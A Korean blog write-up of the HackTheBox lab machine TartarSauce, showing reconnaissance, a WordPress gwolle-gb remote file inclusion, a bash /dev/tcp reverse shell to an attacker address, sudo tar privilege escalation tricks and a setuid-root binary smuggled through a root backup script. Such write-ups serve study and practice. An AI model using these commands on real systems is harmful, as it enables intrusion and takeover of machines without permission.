본문 바로가기
워게임/hackthebox

tartarsauce 롸업 정리(wpscan, tar)

by meanjung 2021. 9. 23.

nmap

[**] http-robots.txt

robots.txt는 웹사이트에 웹 크롤러같은 로봇들의 접근을 제어하기 위한 규약

https://namu.wiki/w/robots.txt

 

저 5개의 url을 크롤링하는 것을 막았다는 것 같다.

이 5개 중 하나(/webservices/monstra-3.0.4/)만 들어가진다.


뽀잉

 

hydra를 쓰려고 했는데 admin/admin으로 로그인 됨;;


searchsploit monstra 3.0.4

 

1. login해라 -> admin/admin

2. content 드롭다운 메뉴에서 Files를 선택해라

3. 아래 코드(php)를 업로드하라

4. upload를 클릭하라

5. 업로드가 완료되면 업로드된 파일을 클릭하고 url에 ?cmd=~~를 추가한다.

 

하라는대로 했는데 업로드가 되지 않는다...

 

얘는 버리고 다른 취약점을 찾아본다.


gobuster

접속해보면 403 에러

 

/webservices/로 다시 ㄱㄱ


10.10.10.88/webservices/wp/

Test blog 클릭해보니 tartarsauce.htb로 도메인네임이 바뀌며 제대로 동작하지 않게 된다.

/etc/hosts10.10.10.88 tartarsauce.htb를 추가한다.

 

[**] 발견

wordpress 사용중


wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive

searchsploit gwolle

결과가 딱 하나 나온다.

 

이제 하라는대로 한다.

1. wp-load.php에 리버스쉘을 넣는다.

2. python -m SimpleHTTPServer 5555

3. nc -nlvp 1234

4. http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.15:5555/ 접속

하지만 user.txt조차 볼 수 없다.


권한 상승(user.txt)

sudo -l

[**] tar란?

https://recipes4dev.tistory.com/146

 

리눅스 tar 명령어 사용법. (Linux tar command) - 파일 압축 및 해제

1. tar 명령어. (Tape ARchiver) tar는 여러 개의 파일을 하나의 파일로 묶거나 풀 때 사용하는 명령입니다. "테이프 아카이버(Tape ARchiver)"의 앞 글자들을 조합하여 "tar"라는 이름으로 명명됩니다. "테이

recipes4dev.tistory.com

tar를 사용해서 unzip?이나 zip?할 때를 노려서 권한을 얻어 다시 리버스 쉘을 실행시키고자 한다.

.

.

nc -nlvp 9999

 

tmp 폴더로 옮겨서

echo -e 'sh -i >& /dev/tcp/10.10.14.15/9999 0>&1' > shell.sh

tar cvf shell.tar shell.sh

sudo -u onuma tar xvf shell.tar --to-command /bin/bash


[***] 한 줄에 끝내버리기

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

 


 


다시 권한상승(root.txt)

LinEnum.sh

 

locate backuperer

 

5분마다 실행된다는 것 확인

 

cat /usr/sbin/backuperer

#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
    for n in $(seq 72);
    do /usr/bin/printf $"-";
    done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
    # Report errors so the dev can investigate the issue.
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # Clean up and save archive to the bkpdir.
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

정리하면

 

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
=> /var/tmp/.*와 /var/tmp/check를 삭제한다.


# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

=> /var/www/html을 gzip해서 /var/tmp/.[random-sha1-value]로 저장한다.

 

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

=> 30초 동안 sleep

 

/bin/mkdir $check

=> /var/tmp/check 디렉터리를 만든다.


/bin/tar -zxvf $tmpfile -C $check

=> /var/tmp/check에 /var/tmp/.[random-sha1-value]를 extract한다.

 


/var/www/html과 /var/tmp/check/var/www/html이 다르다면 report error

같다면, /var/tmp/.[random-sha1-value]를 /var/backup/onuma-www-dev.bak으로 옮기고(바꾸고) '.'로 시작하는 /var/tmp/check 디렉터리의 모든 파일을 삭제하라. 

 

 

(내 kali - root여야함)

/var/ww/html/setuid.c 를 만든다.

 

setuid.c는 아래와 같은 코드

#include <unistd.h>
int main()
{
    setuid(0);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

gcc -m32 -o setuid setuid.c

chmod u+s setuid

tar -zcvf exploit var

python -m SimpleHTTPServer 5556

 

(target machine)

cd /var/tmp

wget http://10.10.14.15:5556/setuid

5분 기다리기

ls -al해서 .~~이 생겼다면

cp exploit .~~

30초 기다리기

cd check/var/www/html

./setuid

 

 

'워게임 > hackthebox' 카테고리의 다른 글

devel 롸업 정리  (0) 2021.09.28
legacy 롸업 정리(smbserver.py 사용법, 윈도우 cmd)  (0) 2021.09.27
poison 롸업 정리  (0) 2021.09.22
valentine 롸업 정리  (0) 2021.09.20
solidstate 롸업 정리  (0) 2021.09.20

댓글